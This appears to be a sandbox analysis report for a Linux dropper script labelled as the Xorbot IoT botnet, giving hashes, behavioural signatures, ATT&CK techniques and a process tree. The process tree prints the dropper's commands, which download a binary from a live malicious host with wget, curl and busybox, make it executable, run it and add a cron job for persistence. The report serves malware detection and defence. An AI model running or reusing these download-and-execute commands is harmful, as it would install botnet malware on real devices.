Analysis
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max time kernel
149s -
max time network
161s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
27/02/2025, 18:18
General
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Target
bins.sh
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Size
10KB
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MD5
ae052a19c0e0a091edd6a9cf7b04fbcf
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SHA1
8d4bd6f14dbfc3325ecf82587df87c0188a45198
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SHA256
a2f3a210e7cddc93c3b7d98d9655baec10c4024093dc7aadc464777ac2dee97e
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SHA512
ee1cf26afa600de9d0eb79365706310bd1ee5b61a0bfa368929d333f502d806423edabebb4254bbc1f31887b4f1761c95b07c8a4c8331d4e124e257d848559e3
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SSDEEP
192:x+5QqNPJAyA+AdAgAYA4PAyA+AdAgAYAqoL:x+XNPJdpmnfTPdpmnf0
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2149) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb2⤵
- File and Directory Permissions Modification
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/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb./v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb2⤵
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC732⤵
- System Network Configuration Discovery
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD5b572864d9b4137932c3c9cfdb51f46e4
SHA18e5589d5ea7fbffbc1824760659e20f084f8610f
SHA2566ab19ccf41ba034809a720f584d1f061be4e053805804d6d5c4bb882f5461739
SHA512c83a6a1f6914c68b9d1956d9c24b22d5d33400516da13f41b17029e4da93e5686801df7efd1fec7df8a97c30b30ab823928ac7bb9870acc769239deb2a7391d7